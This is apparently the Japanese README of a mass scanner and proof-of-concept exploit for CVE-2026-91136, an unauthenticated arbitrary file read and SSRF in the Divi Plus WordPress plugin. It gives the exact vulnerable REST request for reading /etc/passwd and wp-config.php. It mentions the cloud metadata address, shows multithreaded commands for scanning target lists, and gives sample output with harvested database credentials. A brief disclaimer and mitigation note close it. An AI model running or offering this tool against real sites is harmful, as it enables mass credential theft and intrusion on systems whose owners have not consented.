
CVE-2026-91136 のための大規模スキャナーおよび PoC エクスプロイト。これは Divi Plus WordPress プラグインにおける、svg_image REST パラメータを介した未認証の任意ファイル読み取りです。
Divi Plus (Elicus) — WordPressプラグイン ≤ 2.4.0 — elicus/v1 REST名前空間のsvg_imageパラメータを介した未認証の任意ファイル読み取り。
| 属性 | 詳細 |
|---|---|
| CVE ID | CVE-2026-91136 |
| チェーン | svg_image → file_get_contents() (フォールバック wp_remote_get) → JSON html |
| 深刻度 | 🟠 HIGH (CVSS 7.5) |
| 対象 | Divi Plus (Divi Extended / Elicus) |
| 影響を受けるバージョン | ≤ 2.4.0 |
| 修正済みバージョン | 2.4.1 |
| 必要な認証 | なし |
SVGAnimatorController::index_permissionは無条件にtrueを返すため、/wp-json/elicus/v1/dipl-modules/svg-animatorエンドポイントには認証なしで到達できます。svg_image入力はfile_get_contents()(wp_remote_get()フォールバック付き)に渡される前にsanitize_text_field()とesc_html()のみを通過しますが、これらはファイルシステムパス、file://ストリームラッパー、リモートURLを制限しません。生のレスポンスボディはJSONのhtmlフィールドに返されます。
GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
│
▼
index_permission() = true (no auth)
│
▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
│
▼
file_get_contents() -> fallback wp_remote_get()
│
▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}
影響: /etc/passwd、wp-config.php(DB認証情報 + 認証ソルト)、SSRF経由のクラウドメタデータ(169.254.169.254 / GCP / Azure / DO / OCI)、.env、およびWebユーザーが読み取り可能なその他のファイルを読み取ります。
# single target
python CVE-2026-91136.py -u https://target.com
# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results
# interactive (banner -> targets -> threads)
python CVE-2026-91136.py
| オプション | 説明 |
|---|---|
-u/--url URL | 単一ターゲット |
-i/--input FILE | ターゲットファイル、1行に1つ(# コメント可) |
-t/--threads N | スレッド数(省略時は対話形式で確認) |
--timeout N | リクエストタイムアウト(デフォルト 12) |
-q/--quiet | ヒットのみ表示、それ以外はインラインカウンターへ |
-v/--verbose | ターゲットごとに1行表示 |
-o/--output FILE | 結果を JSONL + FILE.hits.txt に書き込み |
[OK] https://target.com ✓ 1 ✗ 0
passwd: root:x:0:0:root:/root:/bin/bash
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
wp-config: /var/www/html/wp-config.php
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
DB_NAME=wordpress
DB_USER=wp_user
DB_PASSWORD=***
DB_HOST=localhost
✓ OK: 1 ✗ FAIL: 2979 total: 2980
[████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247results.hits.txt — 脆弱性が確認されたターゲットのみsvg-animator エンドポイントのレスポンス + divi-plus アセットの ?ver= によるバージョンwp-config.php の探索: 固定候補 + /etc/passwd から解析した実際の /home/<user>/ ディレクトリ├── CVE-2026-91136.py # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator をブロックするfile://、/etc/、またはメタデータ IP を含む svg_image の値をログで監視する